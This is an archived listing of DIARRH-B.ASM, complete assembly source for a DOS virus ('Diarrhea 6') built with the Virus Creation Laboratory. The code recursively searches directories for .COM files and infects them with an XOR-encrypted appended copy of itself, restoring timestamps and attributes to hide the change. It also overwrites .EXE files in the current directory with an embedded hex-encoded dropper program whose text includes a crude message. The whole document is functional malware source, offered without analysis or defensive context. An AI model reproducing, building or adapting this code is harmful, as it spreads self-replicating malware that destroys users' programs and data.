home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DIARRH-B.ASM < prev    next >
Assembly Source File  |  1992-08-07  |  20KB  |  453 lines

  1. ; DIARRHE6.ASM -- DIARRHEA 6
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by URNST KOUCH
  4.  
  5. virus_type      equ     0                       ; Appending Virus
  6. is_encrypted    equ     1                       ; We're encrypted
  7. tsr_virus       equ     0                       ; We're not TSR
  8.  
  9. code            segment byte public
  10.         assume  cs:code,ds:code,es:code,ss:code
  11.         org     0100h
  12.  
  13. main            proc    near
  14.         db      0E9h,00h,00h            ; Near jump (for compatibility)
  15. start:          call    find_offset             ; Like a PUSH IP
  16. find_offset:    pop     bp                      ; BP holds old IP
  17.         sub     bp,offset find_offset   ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt         ; Decrypt the virus
  20.  
  21. start_of_code   label   near
  22.  
  23.         lea     si,[bp + buffer]        ; SI points to original start
  24.         mov     di,0100h                ; Push 0100h on to stack for
  25.         push    di                      ; return to main program
  26.         movsw                           ; Copy the first two bytes
  27.         movsb                           ; Copy the third byte
  28.  
  29.         mov     di,bp                   ; DI points to start of virus
  30.  
  31.         mov     bp,sp                   ; BP points to stack
  32.         sub     sp,128                  ; Allocate 128 bytes on stack
  33.  
  34.         mov     ah,02Fh                 ; DOS get DTA function
  35.         int     021h
  36.         push    bx                      ; Save old DTA address on stack
  37.  
  38.         mov     ah,01Ah                 ; DOS set DTA function
  39.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  40.         int     021h
  41.  
  42.         call    search_files            ; Find and infect a file
  43.         call    search_files            ; Find and infect another file
  44.         lea     dx,[di + data00]        ; DX points to data
  45.         lea     si,[di + data01]        ; SI points to data
  46.         push    di                      ; Save DI
  47.         mov     ah,02Fh                 ; DOS get DTA function
  48.         int     021h
  49.         mov     di,bx                   ; DI points to DTA
  50.         mov     ah,04Eh                 ; DOS find first file function
  51.         mov     cx,00100111b            ; CX holds all file attributes
  52.         int     021h
  53.         jc      create_file             ; If not found then create it
  54. write_in_file:  mov     ax,04301h               ; DOS set file attributes function
  55.         xor     cx,cx                   ; File will have no attributes
  56.         lea     dx,[di + 01Eh]          ; DX points to file name
  57.         int     021h
  58.         mov     ax,03D01h               ; DOS open file function, write
  59.         lea     dx,[di + 01Eh]          ; DX points to file name
  60.         int     021h
  61.         xchg    bx,ax                   ; Transfer file handle to AX
  62.         mov     ah,040h                 ; DOS write to file function
  63.         mov     cx,[si]                 ; CX holds number of byte to write
  64.         lea     dx,[si + 2]             ; DX points to the data
  65.         int     021h
  66.         mov     ax,05701h               ; DOS set file date/time function
  67.         mov     cx,[di + 016h]          ; CX holds old file time
  68.         mov     dx,[di + 018h]          ; DX holds old file data
  69.         int     021h
  70.         mov     ah,03Eh                 ; DOS close file function
  71.         int     021h
  72.         mov     ax,04301h               ; DOS set file attributes function
  73.         xor     ch,ch                   ; Clear CH for attributes
  74.         mov     cl,[di + 015h]          ; CL holds old attributes
  75.         lea     dx,[di + 01Eh]          ; DX points to file name
  76.         int     021h
  77.         mov     ah,04Fh                 ; DOS find next file function
  78.         int     021h
  79.         jnc     write_in_file           ; If successful do next file
  80.         jmp     short dropper_end       ; Otherwise exit
  81. create_file:    mov     ah,03Ch                 ; DOS create file function
  82.         xor     cx,cx                   ; File has no attributes
  83.         int     021h
  84.         xchg    bx,ax                   ; Transfer file handle to AX
  85.         mov     ah,040h                 ; DOS write to file function
  86.         mov     cx,[si]                 ; CX holds number of byte to write
  87.         lea     dx,[si + 2]             ; DX points to the data
  88.         int     021h
  89.         mov     ah,03Eh                 ; DOS close file function
  90.         int     021h
  91. dropper_end:    pop     di                      ; Restore DI
  92.  
  93.  
  94. com_end:        pop     dx                      ; DX holds original DTA address
  95.         mov     ah,01Ah                 ; DOS set DTA function
  96.         int     021h
  97.  
  98.         mov     sp,bp                   ; Deallocate local buffer
  99.  
  100.         xor     ax,ax                   ;
  101.         mov     bx,ax                   ;
  102.         mov     cx,ax                   ;
  103.         mov     dx,ax                   ; Empty out the registers
  104.         mov     si,ax                   ;
  105.         mov     di,ax                   ;
  106.         mov     bp,ax                   ;
  107.  
  108.         ret                             ; Return to original program
  109. main            endp
  110.  
  111. search_files    proc    near
  112.         push    bp                      ; Save BP
  113.         mov     bp,sp                   ; BP points to local buffer
  114.         sub     sp,64                   ; Allocate 64 bytes on stack
  115.  
  116.         mov     ah,047h                 ; DOS get current dir function
  117.         xor     dl,dl                   ; DL holds drive # (current)
  118.         lea     si,[bp - 64]            ; SI points to 64-byte buffer
  119.         int     021h
  120.  
  121.         mov     ah,03Bh                 ; DOS change directory function
  122.         lea     dx,[di + root]          ; DX points to root directory
  123.         int     021h
  124.  
  125.         call    traverse                ; Start the traversal
  126.  
  127.         mov     ah,03Bh                 ; DOS change directory function
  128.         lea     dx,[bp - 64]            ; DX points to old directory
  129.         int     021h
  130.  
  131.         mov     sp,bp                   ; Restore old stack pointer
  132.         pop     bp                      ; Restore BP
  133.         ret                             ; Return to caller
  134.  
  135. root            db      "\",0                   ; Root directory
  136. search_files    endp
  137.  
  138. traverse        proc    near
  139.         push    bp                      ; Save BP
  140.  
  141.         mov     ah,02Fh                 ; DOS get DTA function
  142.         int     021h
  143.         push    bx                      ; Save old DTA address
  144.  
  145.         mov     bp,sp                   ; BP points to local buffer
  146.         sub     sp,128                  ; Allocate 128 bytes on stack
  147.  
  148.         mov     ah,01Ah                 ; DOS set DTA function
  149.         lea     dx,[bp - 128]           ; DX points to buffer
  150.         int     021h
  151.  
  152.         mov     ah,04Eh                 ; DOS find first function
  153.         mov     cx,00010000b            ; CX holds search attributes
  154.         lea     dx,[di + all_files]     ; DX points to "*.*"
  155.         int     021h
  156.         jc      leave_traverse          ; Leave if no files present
  157.  
  158. check_dir:      cmp     byte ptr [bp - 107],16  ; Is the file a directory?
  159.         jne     another_dir             ; If not, try again
  160.         cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?
  161.         je      another_dir             ;If so, keep going
  162.  
  163.         mov     ah,03Bh                 ; DOS change directory function
  164.         lea     dx,[bp - 98]            ; DX points to new directory
  165.         int     021h
  166.  
  167.         call    traverse                ; Recursively call ourself
  168.  
  169.         pushf                           ; Save the flags
  170.         mov     ah,03Bh                 ; DOS change directory function
  171.         lea     dx,[di + up_dir]        ; DX points to parent directory
  172.         int     021h
  173.         popf                            ; Restore the flags
  174.  
  175.         jnc     done_searching          ; If we infected then exit
  176.  
  177. another_dir:    mov     ah,04Fh                 ; DOS find next function
  178.         int     021h
  179.         jnc     check_dir               ; If found check the file
  180.  
  181. leave_traverse:
  182.         lea     dx,[di + com_mask]      ; DX points to "*.COM"
  183.         call    find_files              ; Try to infect a file
  184. done_searching: mov     sp,bp                   ; Restore old stack frame
  185.         mov     ah,01Ah                 ; DOS set DTA function
  186.         pop     dx                      ; Retrieve old DTA address
  187.         int     021h
  188.  
  189.         pop     bp                      ; Restore BP
  190.         ret                             ; Return to caller
  191.  
  192. up_dir          db      "..",0                  ; Parent directory name
  193. all_files       db      "*.*",0                 ; Directories to search for
  194. com_mask        db      "*.COM",0               ; Mask for all .COM files
  195. traverse        endp
  196.  
  197. find_files      proc    near
  198.         push    bp                      ; Save BP
  199.  
  200.         mov     ah,02Fh                 ; DOS get DTA function
  201.         int     021h
  202.         push    bx                      ; Save old DTA address
  203.  
  204.         mov     bp,sp                   ; BP points to local buffer
  205.         sub     sp,128                  ; Allocate 128 bytes on stack
  206.  
  207.         push    dx                      ; Save file mask
  208.         mov     ah,01Ah                 ; DOS set DTA function
  209.         lea     dx,[bp - 128]           ; DX points to buffer
  210.         int     021h
  211.  
  212.         mov     ah,04Eh                 ; DOS find first file function
  213.         mov     cx,00100111b            ; CX holds all file attributes
  214.         pop     dx                      ; Restore file mask
  215. find_a_file:    int     021h
  216.         jc      done_finding            ; Exit if no files found
  217.         call    infect_file             ; Infect the file!
  218.         jnc     done_finding            ; Exit if no error
  219.         mov     ah,04Fh                 ; DOS find next file function
  220.         jmp     short find_a_file       ; Try finding another file
  221.  
  222. done_finding:   mov     sp,bp                   ; Restore old stack frame
  223.         mov     ah,01Ah                 ; DOS set DTA function
  224.         pop     dx                      ; Retrieve old DTA address
  225.         int     021h
  226.  
  227.         pop     bp                      ; Restore BP
  228.         ret                             ; Return to caller
  229. find_files      endp
  230.  
  231. infect_file     proc    near
  232.         mov     ah,02Fh                 ; DOS get DTA address function
  233.         int     021h
  234.         mov     si,bx                   ; SI points to the DTA
  235.  
  236.         mov     byte ptr [di + set_carry],0  ; Assume we'll fail
  237.  
  238.         cmp     word ptr [si + 01Ah],(65279 - (finish - start))
  239.         jbe     size_ok                 ; If it's small enough continue
  240.         jmp     infection_done          ; Otherwise exit
  241.  
  242. size_ok:        mov     ax,03D00h               ; DOS open file function, r/o
  243.         lea     dx,[si + 01Eh]          ; DX points to file name
  244.         int     021h
  245.         xchg    bx,ax                   ; BX holds file handle
  246.  
  247.         mov     ah,03Fh                 ; DOS read from file function
  248.         mov     cx,3                    ; CX holds bytes to read (3)
  249.         lea     dx,[di + buffer]        ; DX points to buffer
  250.         int     021h
  251.  
  252.         mov     ax,04202h               ; DOS file seek function, EOF
  253.         cwd                             ; Zero DX _ Zero bytes from end
  254.         mov     cx,dx                   ; Zero CX /
  255.         int     021h
  256.  
  257.         xchg    dx,ax                   ; Faster than a PUSH AX
  258.         mov     ah,03Eh                 ; DOS close file function
  259.         int     021h
  260.         xchg    dx,ax                   ; Faster than a POP AX
  261.  
  262.         sub     ax,finish - start + 3   ; Adjust AX for a valid jump
  263.         cmp     word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  264.         je      infection_done          ; If equal then exit
  265.         mov     byte ptr [di + set_carry],1  ; Success -- the file is OK
  266.         add     ax,finish - start       ; Re-adjust to make the jump
  267.         mov     word ptr [di + new_jump + 1],ax  ; Construct jump
  268.  
  269.         mov     ax,04301h               ; DOS set file attrib. function
  270.         xor     cx,cx                   ; Clear all attributes
  271.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  272.         int     021h
  273.  
  274.         mov     ax,03D02h               ; DOS open file function, r/w
  275.         int     021h
  276.         xchg    bx,ax                   ; BX holds file handle
  277.  
  278.         mov     ah,040h                 ; DOS write to file function
  279.         mov     cx,3                    ; CX holds bytes to write (3)
  280.         lea     dx,[di + new_jump]      ; DX points to the jump we made
  281.         int     021h
  282.  
  283.         mov     ax,04202h               ; DOS file seek function, EOF
  284.         cwd                             ; Zero DX _ Zero bytes from end
  285.         mov     cx,dx                   ; Zero CX /
  286.         int     021h
  287.  
  288.         push    si                      ; Save SI through call
  289.         call    encrypt_code            ; Write an encrypted copy
  290.         pop     si                      ; Restore SI
  291.  
  292.         mov     ax,05701h               ; DOS set file time function
  293.         mov     cx,[si + 016h]          ; CX holds old file time
  294.         mov     dx,[si + 018h]          ; DX holds old file date
  295.         int     021h
  296.  
  297.         mov     ah,03Eh                 ; DOS close file function
  298.         int     021h
  299.  
  300.         mov     ax,04301h               ; DOS set file attrib. function
  301.         xor     ch,ch                   ; Clear CH for file attribute
  302.         mov     cl,[si + 015h]          ; CX holds file's old attributes
  303.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  304.         int     021h
  305.  
  306. infection_done: cmp     byte ptr [di + set_carry],1  ; Set carry flag if failed
  307.         ret                             ; Return to caller
  308.  
  309. set_carry       db      ?                       ; Set-carry-on-exit flag
  310. buffer          db      090h,0CDh,020h          ; Buffer to hold old three bytes
  311. new_jump        db      0E9h,?,?                ; New jump to virus
  312. infect_file     endp
  313.  
  314.  
  315. data00            db   "*.EXE",0
  316.  
  317. data01          dw       254h
  318.         db      0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h
  319.         db      000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h
  320.         db      020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch
  321.         db      065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh
  322.         db      020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh
  323.         db      073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h
  324.         db      064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h
  325.         db      04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h
  326.         db      00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h
  327.         db      074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h
  328.         db      003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h
  329.         db      074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh
  330.         db      021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h
  331.         db      0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h
  332.         db      08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh
  333.         db      03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh
  334.         db      06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h
  335.         db      00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h
  336.         db      073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h
  337.         db      002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah
  338.         db      0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h
  339.         db      0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh
  340.         db      03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h
  341.         db      075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh
  342.         db      0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh
  343.         db      08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h
  344.         db      001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h
  345.         db      0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh
  346.         db      08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h
  347.         db      0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h
  348.         db      00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
  349.         db      019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh
  350.         db      01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h
  351.         db      003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh
  352.         db      020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h
  353.         db      0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h
  354.         db      0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h
  355.         db      020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h
  356.         db      0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h
  357.         db      0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh
  358.         db      020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h
  359.         db      0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h
  360.         db      0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
  361.         db      003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h
  362.         db      0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h
  363.         db      003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h
  364.         db      0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h
  365.         db      0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h
  366.         db      0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h
  367.         db      0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h
  368.         db      0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h
  369.         db      0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h
  370.         db      004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h
  371.         db      0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h
  372.         db      019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h
  373.         db      020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h
  374.         db      020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h
  375.         db      0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h
  376.         db      020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h
  377.         db      020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h
  378.         db      0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h
  379.         db      06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
  380.         db      003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh
  381.         db      047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh
  382.         db      020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h
  383.         db      065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah
  384.         db      069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h
  385.         db      004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h
  386.         db      0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h
  387.         db      04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
  388.         db      019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
  389.         db      018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h
  390.         db      04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
  391.         db      019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
  392.         db      018h, 019h, 04Fh, 018h
  393.  
  394. vcl_marker      db      "[VCL]",0               ; VCL creation marker
  395.  
  396. encrypt_code    proc    near
  397.         push    bp                      ; Save BP
  398.         mov     bp,di                   ; Use BP as pointer to code
  399.         lea     si,[bp + encrypt_decrypt]; SI points to cipher routine
  400.  
  401.         xor     ah,ah                   ; BIOS get time function
  402.         int     01Ah
  403.         mov     word ptr [si + 9],dx    ; Low word of timer is new key
  404.  
  405.         xor     byte ptr [si + 1],8     ;
  406.         xor     byte ptr [si + 8],1     ; Change all SIs to DIs
  407.         xor     word ptr [si + 11],0101h; (and vice-versa)
  408.  
  409.         lea     di,[bp + finish]        ; Copy routine into heap
  410.         mov     cx,finish - encrypt_decrypt - 1  ; All but final RET
  411.         push    si                      ; Save SI for later
  412.         push    cx                      ; Save CX for later
  413.     rep     movsb                           ; Copy the bytes
  414.  
  415.         lea     si,[bp + write_stuff]   ; SI points to write stuff
  416.         mov     cx,5                    ; CX holds length of write
  417.     rep     movsb                           ; Copy the bytes
  418.  
  419.         pop     cx                      ; Restore CX
  420.         pop     si                      ; Restore SI
  421.         inc     cx                      ; Copy the RET also this time
  422.     rep     movsb                           ; Copy the routine again
  423.  
  424.         mov     ah,040h                 ; DOS write to file function
  425.         lea     dx,[bp + start]         ; DX points to virus
  426.  
  427.         lea     si,[bp + finish]        ; SI points to routine
  428.         call    si                      ; Encrypt/write/decrypt
  429.  
  430.         mov     di,bp                   ; DI points to virus again
  431.         pop     bp                      ; Restore BP
  432.         ret                             ; Return to caller
  433.  
  434. write_stuff:    mov     cx,finish - start       ; Length of code
  435.         int     021h
  436. encrypt_code    endp
  437.  
  438. end_of_code     label   near
  439.  
  440. encrypt_decrypt proc    near
  441.         lea     si,[bp + start_of_code] ; SI points to code to decrypt
  442.         mov     cx,(end_of_code - start_of_code) / 2 ; CX holds length
  443. xor_loop:       db      081h,034h,00h,00h       ; XOR a word by the key
  444.         inc     si                      ; Do the next word
  445.         inc     si                      ;
  446.         loop    xor_loop                ; Loop until we're through
  447.         ret                             ; Return to caller
  448. encrypt_decrypt endp
  449. finish          label   near
  450.  
  451. code            ends
  452.         end     main
  453.